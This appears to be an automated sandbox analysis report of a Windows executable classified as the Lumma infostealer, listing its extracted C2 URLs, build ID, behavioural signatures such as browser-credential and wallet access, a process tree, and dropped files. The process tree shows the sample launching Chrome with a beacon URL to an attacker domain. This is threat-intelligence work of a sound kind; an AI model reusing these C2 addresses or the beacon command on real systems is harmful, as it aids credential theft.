Analysis

  • max time kernel
    149s
  • max time network
    146s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260513-en
  • resource tags

    arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    01/06/2026, 16:52

General

  • Target
    tmpxv7j3d9o.exe
  • Size 41.2MB
  • Sample260601-vdc6kact8p
  • SHA256 b6fa22fe67325b24f7044b934e0f364e02723e019cc4c64e4a5c6e4ae031721d
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Family
  • lumma

C2
  • https://fourdigs.cyou

  • https://decrnoj.club/xxx

  • https://pomflgf.vu/help

  • https://carytui.vu/caccc

  • https://mushxhb.best/info

  • https://genugsq.best/main

  • https://ulmudhw.shop/create

  • https://strikql.shop/owner

  • https://longmbx.click/manifest

Attributes
  • build_id

    6ecc0334c9161db803705a074220ba1dd35191b3e3

Signatures

  • Family: Lumma Stealer, LummaC

    Lumma or LummaC is an infostealer written in C++ first seen in August 2022.

  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Drops file in Windows directory 1 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • System Time Discovery 1 TTPs 1 IoCs

    Adversary may gather the system time and/or time zone settings from a local or remote system.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Modifies data under HKEY_USERS 2 IoCs
  • Modifies registry class 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 10 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 14 IoCs
  • Suspicious use of FindShellTrayWindow 34 IoCs
  • Suspicious use of WriteProcessMemory 14 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\tmpxv7j3d9o.exe
    "C:\Users\Admin\AppData\Local\Temp\tmpxv7j3d9o.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:5248
    • C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" pomflgf.vu/api/set_agent?id=2D204AD0BD24956701AEC7B30ADF174C&token=6ecc0334c9161db803705a074220ba1dd35191b3e3&description=&agent=Chrome
      2⤵
      • Drops file in Windows directory
      • Enumerates system info in registry
      • Modifies data under HKEY_USERS
      • Modifies registry class
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of WriteProcessMemory
      PID:2172
      • C:\Program Files\Google\Chrome\Application\chrome.exe
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x10c,0x110,0x114,0xe8,0x118,0x7ffb91c9c728,0x7ffb91c9c734,0x7ffb91c9c740
        3⤵
          PID:3928
        • C:\Program Files\Google\Chrome\Application\chrome.exe
          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1684,i,7408884612354267951,1841980420537005962,262144 --field-trial-handle=1940,i,6593909792899277112,15761491824644065535,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=1936 /prefetch:2
          3⤵
            PID:3492
          • C:\Program Files\Google\Chrome\Application\chrome.exe
            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=2172,i,4075347547483977733,2240413615170622467,524288 --field-trial-handle=1940,i,6593909792899277112,15761491824644065535,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=1820 /prefetch:11
            3⤵
            • System Time Discovery
            PID:2780
          • C:\Program Files\Google\Chrome\Application\chrome.exe
            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2408,i,17185350562203444471,1538244834585703522,524288 --field-trial-handle=1940,i,6593909792899277112,15761491824644065535,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2420 /prefetch:13
            3⤵
              PID:5100
            • C:\Program Files\Google\Chrome\Application\chrome.exe
              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3164,i,1581407968302104585,11544514267805086841,2097152 --field-trial-handle=1940,i,6593909792899277112,15761491824644065535,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3284 /prefetch:1
              3⤵
                PID:4980
              • C:\Program Files\Google\Chrome\Application\chrome.exe
                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3156,i,622034816152289326,9723910161721469023,2097152 --field-trial-handle=1940,i,6593909792899277112,15761491824644065535,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3192 /prefetch:1
                3⤵
                  PID:4520
                • C:\Program Files\Google\Chrome\Application\chrome.exe
                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4204,i,5429267257619912758,5688439323580994029,2097152 --field-trial-handle=1940,i,6593909792899277112,15761491824644065535,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4268 /prefetch:9
                  3⤵
                    PID:2984
                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5296,i,12939623880356987509,14810371619966457270,524288 --field-trial-handle=1940,i,6593909792899277112,15761491824644065535,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5196 /prefetch:14
                    3⤵
                      PID:5608
                • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
                  "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
                  1⤵
                    PID:2620
                  • C:\Windows\system32\svchost.exe
                    C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
                    1⤵
                      PID:2240

                    Network

                          MITRE ATT&CK Enterprise v16

                          Replay Monitor

                          Loading Replay Monitor...

                          Downloads

                          BookmarkMergedSurfaceOrdering

                          • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BookmarkMergedSurfaceOrdering
                          • Size 6B
                          • SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
                          • MD5 SHA1 SHA512

                          BrowsingTopicsState

                          • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BrowsingTopicsState
                          • Size 649B
                          • SHA256 54f943d3cc8f74c1ad22a09b900f44a7852f0c4307ff018bf8caeed6d5a60acd
                          • MD5 SHA1 SHA512 TLSH

                          SCT Auditing Pending Reports

                          • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports
                          • Size 2B
                          • SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
                          • MD5 SHA1 SHA512

                          Web Data

                          • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Data
                          • Size 138KB
                          • SHA256 a5c94d286e6cbeb15723baeb68e935198be1c938f3d45eef3a07d48e3edd50fc
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          Last Version

                          • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Last Version
                          • Size 13B
                          • SHA256 e5efa9eb104cd0b25149c2e789bec8d9aa4ba95678831b657eef7780a281c391
                          • MD5 SHA1 SHA512

                          Local State

                          • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
                          • Size 115KB
                          • SHA256 0c512781184b75b1468b3e1b86f7aabcb510913798fd8d4eaacace3207952096
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          memory/5248-49-0x0000000001640000-0x0000000001641000-memory.dmp

                          memory/5248-43-0x0000000001640000-0x0000000001641000-memory.dmp

                          memory/5248-51-0x0000000001640000-0x0000000001641000-memory.dmp

                          memory/5248-84-0x0000000001640000-0x0000000001641000-memory.dmp

                          memory/5248-90-0x0000000001640000-0x0000000001641000-memory.dmp

                          memory/5248-89-0x0000000001640000-0x0000000001641000-memory.dmp

                          memory/5248-88-0x0000000001640000-0x0000000001641000-memory.dmp

                          memory/5248-87-0x0000000001640000-0x0000000001641000-memory.dmp

                          memory/5248-44-0x0000000001640000-0x0000000001641000-memory.dmp

                          memory/5248-85-0x0000000001640000-0x0000000001641000-memory.dmp

                          memory/5248-83-0x0000000001640000-0x0000000001641000-memory.dmp

                          memory/5248-82-0x0000000001640000-0x0000000001641000-memory.dmp

                          memory/5248-81-0x0000000001640000-0x0000000001641000-memory.dmp

                          memory/5248-80-0x0000000001640000-0x0000000001641000-memory.dmp

                          memory/5248-79-0x0000000001640000-0x0000000001641000-memory.dmp

                          memory/5248-78-0x0000000001640000-0x0000000001641000-memory.dmp

                          memory/5248-77-0x0000000001640000-0x0000000001641000-memory.dmp

                          memory/5248-76-0x0000000001640000-0x0000000001641000-memory.dmp

                          memory/5248-75-0x0000000001640000-0x0000000001641000-memory.dmp

                          memory/5248-74-0x0000000001640000-0x0000000001641000-memory.dmp

                          memory/5248-73-0x0000000001640000-0x0000000001641000-memory.dmp

                          memory/5248-72-0x0000000001640000-0x0000000001641000-memory.dmp

                          memory/5248-71-0x0000000001640000-0x0000000001641000-memory.dmp

                          memory/5248-70-0x0000000001640000-0x0000000001641000-memory.dmp

                          memory/5248-69-0x0000000001640000-0x0000000001641000-memory.dmp

                          memory/5248-68-0x0000000001640000-0x0000000001641000-memory.dmp

                          memory/5248-67-0x0000000001640000-0x0000000001641000-memory.dmp

                          memory/5248-66-0x0000000001640000-0x0000000001641000-memory.dmp

                          memory/5248-65-0x0000000001640000-0x0000000001641000-memory.dmp

                          memory/5248-64-0x0000000001640000-0x0000000001641000-memory.dmp

                          memory/5248-63-0x0000000001640000-0x0000000001641000-memory.dmp

                          memory/5248-62-0x0000000001640000-0x0000000001641000-memory.dmp

                          memory/5248-46-0x0000000001640000-0x0000000001641000-memory.dmp

                          memory/5248-60-0x0000000001640000-0x0000000001641000-memory.dmp

                          memory/5248-59-0x0000000001640000-0x0000000001641000-memory.dmp

                          memory/5248-58-0x0000000001640000-0x0000000001641000-memory.dmp

                          memory/5248-57-0x0000000001640000-0x0000000001641000-memory.dmp

                          memory/5248-56-0x0000000001640000-0x0000000001641000-memory.dmp

                          memory/5248-55-0x0000000001640000-0x0000000001641000-memory.dmp

                          memory/5248-54-0x0000000001640000-0x0000000001641000-memory.dmp

                          memory/5248-53-0x0000000001640000-0x0000000001641000-memory.dmp

                          memory/5248-52-0x0000000001640000-0x0000000001641000-memory.dmp

                          memory/5248-50-0x0000000001640000-0x0000000001641000-memory.dmp

                          memory/5248-38-0x0000000001640000-0x0000000001641000-memory.dmp

                          memory/5248-48-0x0000000001640000-0x0000000001641000-memory.dmp

                          memory/5248-47-0x0000000001640000-0x0000000001641000-memory.dmp

                          memory/5248-61-0x0000000001640000-0x0000000001641000-memory.dmp

                          memory/5248-42-0x0000000001640000-0x0000000001641000-memory.dmp

                          memory/5248-86-0x0000000001640000-0x0000000001641000-memory.dmp

                          memory/5248-45-0x0000000001640000-0x0000000001641000-memory.dmp

                          memory/5248-41-0x0000000001640000-0x0000000001641000-memory.dmp

                          memory/5248-40-0x0000000001640000-0x0000000001641000-memory.dmp

                          memory/5248-1-0x0000000031F00000-0x0000000031F5E000-memory.dmp

                          memory/5248-0-0x0000000031F00000-0x0000000031F5E000-memory.dmp

                          memory/5248-39-0x0000000001640000-0x0000000001641000-memory.dmp

                          memory/5248-109-0x0000000001640000-0x0000000001641000-memory.dmp

                          memory/5248-107-0x0000000001640000-0x0000000001641000-memory.dmp

                          memory/5248-108-0x0000000001640000-0x0000000001641000-memory.dmp

                          memory/5248-111-0x0000000001640000-0x0000000001641000-memory.dmp

                          memory/5248-112-0x0000000001640000-0x0000000001641000-memory.dmp

                          memory/5248-110-0x0000000001640000-0x0000000001641000-memory.dmp

                          memory/5248-113-0x0000000001640000-0x0000000001641000-memory.dmp

                          memory/5248-127-0x0000000001640000-0x0000000001641000-memory.dmp

                          memory/5248-133-0x0000000001640000-0x0000000001641000-memory.dmp

                          memory/5248-140-0x0000000001640000-0x0000000001641000-memory.dmp

                          memory/5248-139-0x0000000001640000-0x0000000001641000-memory.dmp

                          memory/5248-138-0x0000000001640000-0x0000000001641000-memory.dmp

                          memory/5248-137-0x0000000001640000-0x0000000001641000-memory.dmp

                          memory/5248-136-0x0000000001640000-0x0000000001641000-memory.dmp

                          memory/5248-135-0x0000000001640000-0x0000000001641000-memory.dmp

                          memory/5248-134-0x0000000001640000-0x0000000001641000-memory.dmp

                          memory/5248-132-0x0000000001640000-0x0000000001641000-memory.dmp

                          memory/5248-131-0x0000000001640000-0x0000000001641000-memory.dmp

                          memory/5248-130-0x0000000001640000-0x0000000001641000-memory.dmp

                          memory/5248-129-0x0000000001640000-0x0000000001641000-memory.dmp

                          memory/5248-128-0x0000000001640000-0x0000000001641000-memory.dmp

                          memory/5248-126-0x0000000001640000-0x0000000001641000-memory.dmp

                          memory/5248-125-0x0000000001640000-0x0000000001641000-memory.dmp

                          memory/5248-124-0x0000000001640000-0x0000000001641000-memory.dmp

                          memory/5248-123-0x0000000001640000-0x0000000001641000-memory.dmp

                          memory/5248-122-0x0000000001640000-0x0000000001641000-memory.dmp

                          memory/5248-121-0x0000000001640000-0x0000000001641000-memory.dmp

                          memory/5248-120-0x0000000001640000-0x0000000001641000-memory.dmp

                          memory/5248-119-0x0000000001640000-0x0000000001641000-memory.dmp

                          memory/5248-118-0x0000000001640000-0x0000000001641000-memory.dmp

                          memory/5248-117-0x0000000001640000-0x0000000001641000-memory.dmp

                          memory/5248-116-0x0000000001640000-0x0000000001641000-memory.dmp

                          memory/5248-115-0x0000000001640000-0x0000000001641000-memory.dmp

                          memory/5248-114-0x0000000001640000-0x0000000001641000-memory.dmp

                          memory/5248-141-0x0000000001640000-0x0000000001641000-memory.dmp

                          memory/5248-146-0x0000000001640000-0x0000000001641000-memory.dmp

                          memory/5248-147-0x0000000001640000-0x0000000001641000-memory.dmp

                          memory/5248-145-0x0000000001640000-0x0000000001641000-memory.dmp

                          memory/5248-144-0x0000000001640000-0x0000000001641000-memory.dmp

                          memory/5248-142-0x0000000001640000-0x0000000001641000-memory.dmp

                          memory/5248-143-0x0000000001640000-0x0000000001641000-memory.dmp